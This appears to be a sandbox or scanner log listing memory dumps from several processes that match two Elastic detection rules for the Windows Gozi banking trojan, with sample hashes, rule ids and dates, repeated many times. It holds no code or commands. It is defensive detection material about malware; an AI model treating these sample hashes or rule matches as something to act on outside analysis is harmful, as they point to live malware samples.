      Source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
